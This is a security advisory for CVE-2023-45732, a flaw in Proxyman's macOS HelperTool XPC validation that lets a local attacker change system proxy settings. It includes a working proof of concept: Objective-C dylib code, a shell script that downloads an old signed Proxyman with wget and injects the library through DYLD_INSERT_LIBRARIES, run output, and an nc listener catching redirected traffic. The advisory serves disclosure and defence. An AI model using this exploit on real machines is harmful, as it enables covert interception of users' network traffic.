Skip to navigation Skip to main content Skip to footer

Technical Advisory: Insufficient Proxyman HelperTool XPC Validation

31 October 2023

By scottleitch53e8989cc3

Vendor: Proxyman LLC
Vendor URL: https://proxyman.io/
Versions affected: com.proxyman.NSProxy.HelperTool version 1.4.0 (distributed with Proxyman.app up to and including versions 4.11.0)
Systems Affected: macOS
Author: Scott Leitch 
Advisory URL / CVE Identifier: CVE-2023-45732
Risk: Medium (Exploitation of this finding enables an attacker to redirect network traffic to an attacker-controlled location)

Summary

The com.proxyman.NSProxy.HelperTool application (version 1.4.0), a privileged helper tool distributed with the Proxyman application (up to an including versions 4.10.1) for macOS 13 Ventura and earlier allows a local attacker to use earlier versions of the Proxyman application to maliciously change the System Proxy settings and redirect traffic to an attacker-controlled computer, facilitating MITM attacks or other passive network monitoring.

The Proxyman application affected is a macOS native desktop application used for HTTP(S) proxying. The application distribution includes a helper service tool (com.proxyman.NSProxy.HelperTool) that is used to adjust system proxy settings. The main application communicates with this higher-privilege tool over XPC.

Impact

It is possible for a low-privilege attacker or otherwise malicious process to inconspicuously change the operating system’s HTTP(S) proxy settings, facilitating, e.g., MITM attacks.

Recommendation

Update to the HelperTool version 1.5.0 or higher, distributed with the most recent (4.13.0 as of writing) version of Proxyman.

Details

Much of the below is based heavily off of previous work by Csaba Fitzl, in particular his blogs which coincided with earlier CVEs:

The HelperTool class’s implemented (BOOL)listener:(NSXPCListener *) shouldAcceptNewConnection:(NSXPCConnection *) instance method defines six code-signing requirement strings. A process attempting to establish a valid XPC connection to the installed com.proxyman.NSProxy.HelperTool must satisfy one of these requirements.

/* @class HelperTool */
-(char)listener:(void *)arg2 shouldAcceptNewConnection:(void *)arg3 {
    r14 = self;
    rax = [arg3 retain];
    r12 = rax;
    rdx = [rax processIdentifier];
    [r14 setConnectionPID:rdx];
    var_60 = @"identifier \"com.proxyman.NSProxy\" and anchor apple generic and certificate leaf[subject.CN] = \"Apple Development: Pham Huy (4G5FB38W27)\" and certificate 1[field.1.2.840.113635.100.6.2.1] /* exists */";
    *( var_60 + 0x8) = @"identifier \"com.proxyman.NSProxy-setapp\" and anchor apple generic and certificate leaf[subject.CN] = \"Apple Development: Pham Huy (4G5FB38W27)\" and certificate 1[field.1.2.840.113635.100.6.2.1] /* exists */";
    *( var_60 + 0x10) = @"identifier \"com.proxyman.NSProxy\" and anchor apple generic and certificate leaf[subject.CN] = \"Mac Developer: Pham Huy (4G5FB38W27)\" and certificate 1[field.1.2.840.113635.100.6.2.1] /* exists */";
    *( var_60 + 0x18) = @"identifier \"com.proxyman.NSProxy-setapp\" and anchor apple generic and certificate leaf[subject.CN] = \"Mac Developer: Pham Huy (4G5FB38W27)\" and certificate 1[field.1.2.840.113635.100.6.2.1] /* exists */";
    *( var_60 + 0x20) = @"anchor apple generic and identifier \"com.proxyman.NSProxy\" and (certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = \"3X57WP8E8V\")";
    *( var_60 + 0x28) = @"anchor apple generic and identifier \"com.proxyman.NSProxy-setapp\" and (certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = \"3X57WP8E8V\")";
    rax = [NSArray arrayWithObjects:rdx count:0x6];
    rax = [rax retain];
    r15 = rax;
    rcx = r12;
    if ([r14 [[[[validateIncomingConnectionForAllCodeSigns:rax forConnection:rcx] != 0x0]]]]) {
            rax = [NSXPCInterface interfaceWithProtocol:@protocol(HelperToolProtocol), rcx];
            rax = [rax retain];
            [r12 setExportedInterface:rax, rcx];
            [rax release];
            [r12 setExportedObject:r14, rcx];
            [r12 resume];
            r14 = 0x1;
    }

A de-compilation of the listener:shouldAcceptNewConnection: instance method defined six potential security requirements before passing them to the validateIncomingConnectionForAllCodeSigns:forConnection: instance method.

The above de-compilation shows the method grouping the six strings into an NSArray and passing them into the HelperTool‘s validateIncomingConnectionForAllCodeSigns:forConnection: instance method. Looking into this instance method, we find that it will loop through the six code-signing requirement strings, each loop calling, in succession, SecCodeCopyGuestWithAttributes(), SecRequirementCreateWithString, and SecCodeCheckValidityWithErrors to determine that the calling binary is correctly signed and conforms to one of the six allowed requirement strings.

An attacker able to pass the above security requirement check is able to communicate with the HelperTool, tasked with managing the system’s proxy settings through a series of XPC service methods. Modern distributions of the main Proxyman.app bundle are all signed with the hardened runtime flag, preventing library injection attacks that would look to take advantage of this, but an old version of Proxyman still available, version 1.3.4, is not signed with any code-signing flags, allowing an attacker to abuse it as a vector through which they can pass the above security validation check to communicate with an up-to-date HelperTool distributed with recent versions of Proxyman, surreptitiously adjusting system proxy settings.

$ codesign -dv /Volumes/Proxyman/Proxyman.app/Contents/MacOS/Proxyman
Executable=/Volumes/Proxyman/Proxyman.app/Contents/MacOS/Proxyman
Identifier=com.proxyman.NSProxy
Format=app bundle with Mach-O thin (x86_64)
CodeDirectory v=20200 size=17716 flags=0x0(none) hashes=546+5 location=embedded
Signature size=8916
Timestamp=Apr 1, 2019 at 1:19:02 AM
Info.plist entries=31
TeamIdentifier=3X57WP8E8V
Sealed Resources version=2 rules=13 files=266
Internal requirements count=1 size=212

An old version of the Proxyman (1.3.4) application was signed without flags to protect against library injections and also contained the requisite TeamIdentifier.

We can determine the exposed XPC service methods using the class-dump tool. Though there are several methods it appears we may be able to communicate using, the most simple was legacySetProxySystemPreferencesWithAuthorization:(NSData *) enabled:(BOOL) host:(NSString *) port:(NSString *) reply:(void (^)(NSError *, BOOL)):

@protocol HelperToolProtocol
- (void)overrideProxySystemWithAuthorization:(NSData *)arg1 setting:(NSDictionary *)arg2 reply:(void (^)(NSError *))arg3;
- (void)revertProxySystemWithAuthorization:(NSData *)arg1 restore:(BOOL)arg2 reply:(void (^)(NSError *))arg3;
- (void)legacySetProxySystemPreferencesWithAuthorization:(NSData *)arg1 enabled:(BOOL)arg2 host:(NSString *)arg3 port:(NSString *)arg4 reply:(void (^)(NSError *, BOOL))arg5;
- (void)getVersionWithReply:(void (^)(NSString *))arg1;
- (void)connectWithEndpointReply:(void (^)(NSXPCListenerEndpoint *))arg1;
@end

XPC service methods exposed by the com.proxyman.NSProxy.HelperTool service

Using this, it’s possible to build a dynamic library that can be force-loaded into the old Proxyman application that will, on startup, call to the XPC service and set the system’s proxy settings to attacker-controlled values. Some important code snippets are included below, with a full proof-of-concept source file included below.

@protocol HelperToolProtocol                                                        
- (void) legacySetProxySystemPreferencesWithAuthorization:(NSData *)auth_data       
    enabled:(BOOL)enabled host:(NSString *)host port:(NSString *)port               
    reply:(void (^)(NSError *, BOOL))reply;                                         
- (void) getVersionWithReply:(void (^)(NSString *))reply;                           
@end

The target HelperToolProtocol instance methods were included in the dynamic library.

    [obj legacySetProxySystemPreferencesWithAuthorization:authorization             
        enabled:enab                                                                
        host:host                                                                   
        port:port                                                                   
        reply:^(NSError * err, BOOL b) {                                            
            if (err != NULL) {                                                      
                NSLog(@"[!] Error: %@", err);                                       
                exit(1);                                                            
            } else {                                                                
                NSLog(@"[+] Proxy set successfully!");                               
            }                                                                       
        }                                                                           
    ];                                                                              

    [obj getVersionWithReply:^(NSString * reply) {                                  
        NSLog(@"[+] HelperTool Version: %@", reply);                                
    }];                                                                             

    [NSThread sleepForTimeInterval:0.5f];                                           
    NSLog(@"[+] Done.");

    while (1) {
        sleep(5);
    };

Once authorization checks were passed, the dynamic library called the legacySetProxySystemPreferencesWithAuthorization and getVersionWithReply instance methods.

Once we compile the dynamic library we can then insert it into the old Proxyman application:

clang -dynamiclib -x objective-c -framework Foundation -framework Security -o ProxyHelper_PoC.dylib ./ProxyHelper_PoC.m

And using the below shell script ($ ./Poc.sh ./ProxyHelper_PoC.dylib ), it is possible to execute the proof-of-concept exploitation against a fully updated Proxyman installation, changing the system’s proxy settings:

#!/bin/sh
# Proyman HelperTool PoC
VERSION="1.3.4"
FILENAME="Proxyman_$VERSION.dmg"
URL="https://github.com/ProxymanApp/Proxyman/releases/download/$VERSION/$FILENAME"
TMP_DIR=$(mktemp -d)
MNT="proxyman"
EXEC_PATH="$TMP_DIR/$MNT/Proxyman.app/Contents/MacOS/Proxyman"
DYLIB=$1
HOST=$2
PORT=$3

set -e

echo "[+] Changing to $TMPDIR"
cp $DYLIB $TMP_DIR; cd $TMP_DIR; mkdir $MNT

echo "[+] Getting $URL..."
wget -q $URL

echo "[+] Mounting DMG..."
hdiutil attach $FILENAME -mountpoint $MNT \
    -nobrowse -noautoopen -quiet

echo "[+] Injecting dylib..."
DYLD_INSERT_LIBRARIES=$DYLIB $EXEC_PATH $HOST $PORT

The exploit script will retrieve the old version of Proxyman, mount it, and inject the compiled dynamic library into it, exploiting the already-installed and up-to-date HelperTool.

$ ./PoC.sh ProxyHelper_PoC.dylib [[[[127.0.0.1 5555]]]]
[+] Changing to /var/folders/m5/h5w99qzx1zqdfj_bf8518h8w0000gn/T/
[+] Getting https://github.com/ProxymanApp/Proxyman/releases/download/1.3.4/Proxyman_1.3.4.dmg...
[+] Mounting DMG...
[+] Injecting dylib...
2023-08-31 16:46:38.856 Proxyman[4504:166167] OSStatus: No error.
2023-08-31 16:46:38.857 Proxyman[4504:166167] OSStatus: No error.
2023-08-31 16:46:38.857 Proxyman[4504:166167] OSStatus: No error.
2023-08-31 16:46:38.857 Proxyman[4504:166167] obj: <__NSXPCInterfaceProxy_HelperToolProtocol: 0x600002364000>
2023-08-31 16:46:38.857 Proxyman[4504:166167] conn:  connection to service named com.proxyman.NSProxy.HelperTool
2023-08-31 16:46:38.956 Proxyman[4504:166202] [+] Proxy set successfully!
2023-08-31 16:46:38.957 Proxyman[4504:166202] [+] HelperTool Version: 1.4.0
2023-08-31 16:46:39.358 Proxyman[4504:166167] [+] Done.

The exploit succeeded, changing the system’s proxy settings to http(s)://127.0.0.1:5555

With the exploit proof-of-concept successful, it is possible to open an nc listener to catch requests being sent from browsers running on the system:

$ networksetup -getwebproxy Ethernet
Enabled: Yes
Server: 127.0.0.1
Port: 5555
Authenticated Proxy Enabled: 0
$ nc -nlvk 5555
CONNECT mesu.apple.com:443 HTTP/1.1
Host: mesu.apple.com
Proxy-Connection: keep-alive
Connection: keep-alive

CONNECT incoming.telemetry.mozilla.org:443 HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0
Proxy-Connection: keep-alive
Connection: keep-alive
Host: incoming.telemetry.mozilla.org:443

With the proxy set, an nc listener on the selected port will catch requests from applications that adhere to the system proxy.